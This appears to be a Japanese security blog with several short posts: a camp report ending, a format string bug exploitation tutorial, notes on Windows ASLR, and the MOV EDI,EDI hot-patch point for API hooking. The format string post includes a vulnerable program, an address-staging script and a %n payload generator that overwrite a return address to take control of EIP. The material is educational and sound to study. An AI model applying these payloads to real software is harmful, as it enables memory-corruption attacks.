 私はやっぱり「技術を楽しんでほしい」ってのが一番意識していることなので、参加者から「スゲー楽しかったです」という感想をもらえると「よっしゃー!」って感じになります。結局のところ、楽しいという原動力がなければ10年以上何かを続けることは難しいんじゃないかと思います。

 というわけでセキュリティ・キャンプ2013のレポートは終わりです。

 これからじょじょにアップされるであろう参加者のレポートを楽しみにしながら、私自身も学生に負けないように技術を磨いていこうと思います。参加者のみなさんお疲れ様でした。そして来年以降、キャンプに挑戦してみようと考えている方は、ぜひ今年の応募用紙をみて、来年に向けて勉強していってください。少しずつでも続けている(前に進んでいる)ことが大事だと思います。

 では参加者のみなさん、お疲れ様でした!

フォーマットストリングバグ(format bug)を試してみる。

 今回はフォーマットストリングバグ(format bug)について書きます。わりとマイナーな脆弱性で現在ではほとんどみないのですが、技術的に興味深いものなので知ってても損はないと思います。テスト環境はFreeBSD8.3(x86)です。

 ターゲットとなるプログラムはこんな感じです。

// sample10.c
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf(argv[1]); // printf("%s", argv[1]);
    return 0;
}

 本当なら(コメントにあるように)%sを使ってargv[1]を出力するのですが、それをそのままprintfに渡しています。ただ、これでも基本的には普通に動作します。

$ gcc sample10.c -o sample10
$ ./sample10 AAAA
AAAA$

 でもargv[1]をそのまま渡しているので、こんな感じに書くとスタックにある値が出力されます。

$ ./sample10 AAAA%x
AAAAbfbfec90$

 スタックにある値が出力されるだけならまだよいのですが(いやダメだけど)、そこに書き込みできたらちょっとやばいですよね。でも出来るんです! そう%nならね。

$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:    lea    0x4(%esp),%ecx
0x08048444 <main+4>:    and    $0xfffffff0,%esp
0x08048447 <main+7>:    pushl  0xfffffffc(%ecx)
0x0804844a <main+10>:   push   %ebp
0x0804844b <main+11>:   mov    %esp,%ebp
0x0804844d <main+13>:   push   %ecx
0x0804844e <main+14>:   sub    $0x4,%esp
0x08048451 <main+17>:   mov    0x4(%ecx),%eax
0x08048454 <main+20>:   add    $0x4,%eax
0x08048457 <main+23>:   mov    (%eax),%eax
0x08048459 <main+25>:   mov    %eax,(%esp)
0x0804845c <main+28>:   call   0x80482ec <_init+52> ■break
0x08048461 <main+33>:   mov    $0x0,%eax            ■break
0x08048466 <main+38>:   add    $0x4,%esp
0x08048469 <main+41>:   pop    %ecx
0x0804846a <main+42>:   pop    %ebp
0x0804846b <main+43>:   lea    0xfffffffc(%ecx),%esp
0x0804846e <main+46>:   ret
0x0804846f <main+47>:   nop
End of assembler dump.
(gdb) b *0x0804845c
Breakpoint 1 at 0x804845c
(gdb) b *0x08048461
Breakpoint 2 at 0x8048461
(gdb) r AAAA%n ■%nを引数に
Starting program: /usr/home/guest/sample10 AAAA%n
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804845c in main ()
(gdb) x/32x $esp
0xbfbfec40:  0xbfbfedf9 ->0xbfbfec60   0xbfbfec78   0x080483c7
0xbfbfec50:  0x00000000   0x00000000   0xbfbfec78   0x080483c7
0xbfbfec60:->0x00000002   0xbfbfeca4   0xbfbfecb0   0xbfbfec90
(gdb) x/1s 0xbfbfedf9
0xbfbfedf9: "AAAA%n"
(gdb) c
Continuing.
Breakpoint 2, 0x08048461 in main ()
(gdb) x/32x $esp
0xbfbfec40:  0xbfbfedf9 ->0xbfbfec60   0xbfbfec78   0x080483c7
0xbfbfec50:  0x00000000   0x00000000   0xbfbfec78   0x080483c7
0xbfbfec60:->0x00000004   0xbfbfeca4   0xbfbfecb0   0xbfbfec90
(gdb)

 0xbfbfec60の値が0x00000002から0x00000004へ変わっています。%nについてはprintfの変換指定子を確認しましょう。

%n: これまでに出力された文字数を int * (または類似の型) のポインタ引き数が指す整数に保存する。

 つまりprintfの第一引数0xbfbfedf9、第二引数0xbfbfec60となっており、第一引数は当然"AAAA%n"のアドレスです。第一引数には%nが入っているので第二引数(0xbfbfec60)を書き込み先アドレスと認識して、結果0xbfbfec60の値が0x00000002から0x00000004へ変わったわけです。0x00000004はこれまで出力された"AAAA"の文字数ですね。

 変換指定子は%nのみだったので書き込み対象は第二引数が指す先でしたが、何番目の引数を使うかは選択できるため(12番目の引数を使いたいばあいは)%12\$nと書くことで自由に変更できます。

 さて、書きかえたいのはアドレス0xbfbfec5cの値(0x080483c7)、つまりmainからのリターン先です。でもスタックには0xbfbfec5cという値そのものがないので、環境変数を使ってこの値をスタックへいれます。

#!/usr/bin/python
# exploitenv.py

import sys
import struct
#import binascii

num = int(sys.argv[1], 16)

i = 0
x = ""

while i < 4:
    x += struct.pack('<L', num + i)
    i += 1

print x
#print binascii.b2a_hex(x)
$ ADDR=AAA`python exploitenv.py bfbfec5c`
$ export ADDR

 先頭のAAAはサイズ調整用です。4バイト単位(アラインメント)でメモリに配置されてほしいので。

 %nはこれまでに出力された文字数を数値としてメモリへ書き出しますが、じゃあ0xbfbfXXXXみたいな巨大なサイズ(GB単位)の文字列を%nの前に出力するのかという問題があるため、%nで0xbfbfXXXXみたいな数値は扱えなさそうです。そこで、4バイト一気に書き込むのではなく、1バイトずつ4回にわけて書き込むことで対応します。よって、0xbfbfec5c、0xbfbfec5d、0xbfbfec5e、0xbfbfec5fを環境変数ADDRへいれます。

$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) b main
Breakpoint 1 at 0x8048440
(gdb) r AAAA
Breakpoint 1, 0x08048440 in main ()
(gdb) x/32x $esp
(省略)
0xbfbfef4c:  0x32203433   0x494c0032   0x3d53454e   0x46003533
0xbfbfef5c:  0x505f5054   0x49535341   0x4d5f4556   0x3d45444f
0xbfbfef6c:  0x00534559   0x52444441   0x4141413d ->0xbfbfec5c
0xbfbfef7c:->0xbfbfec5d ->0xbfbfec5e ->0xbfbfec5f   0x49444500

 gdbから環境変数ADDRとしてさきほどいれたデータがあるのが確認できます(0xbfbfef78)。あとはこれらのアドレスに対して、1バイトずつ%nしていけばOKです。

// exploitfms.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char fmtstr[256];
    unsigned int value[4];

    unsigned long val;
    unsigned int offset, i;

    if(argc < 3){
        fprintf(stderr, "Usage: %s <value> <offset>\n", argv[0]);
        exit(-1);
    }

    val = strtoul(argv[1], NULL, 16);
    offset = atoi(argv[2]);

    for(i=0; i < 4; i++){
        value[i] = (val >> i * 8) & 0xff;
    }

    sprintf(fmtstr, 
        "%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n",
        value[0]            + 0x100, offset+0,
        value[1] - value[0] + 0x100, offset+1,
        value[2] - value[1] + 0x100, offset+2,
        value[3] - value[2] + 0x100, offset+3);

    printf("%s\n", fmtstr);
    return 0;
}

 valueが書き込みたい値、offsetがprintfが呼ばれる時点での第二引数からの(距離/4)+1です。valueはとりあえず0x41414141にします。offsetは環境変数ADDRとしてセットした値があるのがアドレス0xbfbfef78、第二引数があるのがアドレス0xbfbfec40だったので、((0xbfbfef78 - 0xbfbfec40) / 4) + 1 = 207(10進数)となります。

$ gcc exploitfms.c -o exploitfms
$ ./exploitfms 0x41414141 207
%321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n
$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) b * 0x0804845c
Breakpoint 1 at 0x804845c
(gdb) r %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n
Starting program: /usr/home/guest/sample10 
%321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804845c in main ()
(gdb) x/32x $esp
0xbfbfec00:  0xbfbfedb9 ->0xbfbfec20   0xbfbfec38   0x080483c7
0xbfbfec10:  0x00000000   0x00000000   0xbfbfec38 ->0x080483c7
0xbfbfec20:  0x00000002   0xbfbfec60   0xbfbfec6c   0xbfbfec40
(省略)
0xbfbfef50:  0x494c0032   0x3d53454e   0x46003533   0x505f5054
0xbfbfef60:  0x49535341   0x4d5f4556   0x3d45444f   0x00534559
0xbfbfef70:  0x52444441   0x4141413d ->0xbfbfec5c ->0xbfbfec5d
(gdb)
0xbfbfef80:->0xbfbfec5e ->0xbfbfec5f   0x49444500   0x3d524f54

 引数のサイズが変わりアドレスがずれたので、もう一度再計算します。上書きしたいアドレスは0xbfbfec1c、第二引数からのoffsetは((0xbfbfef78 - 0xbfbfec04) / 4) + 1 = 222(10進数)。

$ ADDR=AAA`python exploitenv.py bfbfec1c`
$ export ADDR
$ ./exploitfms 0x41414141 222
%321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n
$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) r %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n
Starting program: /usr/home/guest/sample10 
%321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r $eip
eip            0x41414141       0x41414141
(gdb)

 めでたくeipを上書きできました。

 以上がフォーマットストリングバグの基本となります。

 フォーマットストリングバグは、バグそのものはとても単純なもので、知ってしまえばすぐに修正できます。しかし興味深いのはその攻撃方法で、printfへ渡すデータの操作を許しただけでeipを奪うところまでいけるというのは、素直に技術として面白いと感じます。そういう意味でも知っておいて損はないのではないかと思います。

 あと最後にひとことだけ。

 %nってExploiting以外の使い道ってあるの?

WindowsでASLR(Address Space Layout Randomization)を確認してみる。

 ASLR(Address Space Layout Randomization)とは、OSがプロセスをロードするときに、ランダムな場所にモジュールを配置するセキュリティ機能です。実際はモジュールだけじゃなく、スタックやヒープなどもランダマイズされたりします。

 ASLRはWindowsにも当然実装されており、それらを迂回して脆弱性を利用する攻撃手法が日々研究されています(参考:DEP/ASLR bypass without ROP/JIT)。日本語で解説されてる資料もありますね(→http://www.slideshare.net/SatoshiMimura/apasec-2013-ropjit-depaslr)。

 Windows(Vista以降)のばあい、PEヘッダの DllCharacteristics にて0x0040(IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)フラグがオンになっているモジュールがASLR対象になります(参考:MSDN)。

typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
     (省略)
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;  ■ココ
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory
    [IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

 たとえばデバッガで実行ファイルをロードした際、IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASEがオフなら、0x00401000以降にEXEモジュールがあるのですが、これがオンだと毎回ランダムなアドレスになります。Visual C++ 2010 Express版では、メニューからプロジェクト⇒プロパティ⇒リンカ⇒詳細設定にてオンオフを設定できます。

f:id:b07c00:20130801235810p:plain

 「たのしいバイナリの歩き方」でも1~2章辺りで、ではメモリアドレス00401000へ進んでください、みたいなくだりがありますが、これはASLRがオフになってる前提だったりします。もしASLRがオンだとまったく別の場所にモジュールがロードされているので、探さなければなりません(なので1~2章のサンプルプログラムはEXEに限りすべてASLRオフになっています)。

 ASLRはモジュール単位で行われるため、同じプロセス内でもランダマイズされるモジュールとされないモジュールが存在します。そしてROP(Return Oriented Programming)はランダマイズされないモジュール内に存在するガジェットを利用して行われるわけです。

関数先頭にあるMOV EDI,EDIって何だろう?

 Windows環境において、多くのAPI関数の先頭に存在するMOV EDI,EDIという命令。たとえばMessageBoxWの先頭2バイトを次のようなプログラムで調べてみる。

// VC++ 2010 Express版
#include <stdio.h>
#include <Windows.h>

int main()
{
    HMODULE user32 = ::LoadLibrary(L"user32.dll");
    auto pMessageBoxW = reinterpret_cast<decltype(MessageBoxW)*>
        (GetProcAddress(user32, "MessageBoxW"));
    
    BYTE bBuff[8];
    memcpy(bBuff, (void *)pMessageBoxW, 2);

    TCHAR szStr[1024];
    wsprintf(szStr, 
        L"MessageBoxW first 2byte is '%02x %02x'.", 
        bBuff[0], bBuff[1]);

    pMessageBoxW(GetForegroundWindow(), szStr, L"MESSAGE", MB_OK);
    return 0;
}

f:id:b07c00:20130806163637p:plain

 先頭2バイトは8b ff。つまりmov edi, edi。これ自体はなんの意味もない命令な気がするけどなんで各API関数の先頭に常にあるの? みたいな疑問。その答えはこちら。

 Why do Windows functions all begin with a pointless MOV EDI, EDI instruction?

It's a hot-patch point.

 どうやらパッチ用のようです。

 もっと具体的にいうとAPIフック用。先頭2バイトがmov edi, ediなので、まずはここをeb f9:jmp -7に変える。デバッガとかで確認すると、mov edi, ediの上には5バイト連続でnop辺りが埋まってるはず。ここに飛ぶようにして、この5バイトの領域にe9 XX XX XX XX:jmp 0xXXXXXXXXみたいなコードを入れると任意の場所にジャンプできる。つまり手軽にAPIフックが実現できる。便利。なのでmov edi, ediと上の5バイトはセットみたいなもんなのかな。

 ちなみに有名なAPIフックライブラリであるDetoursはこの手法を使ってないです。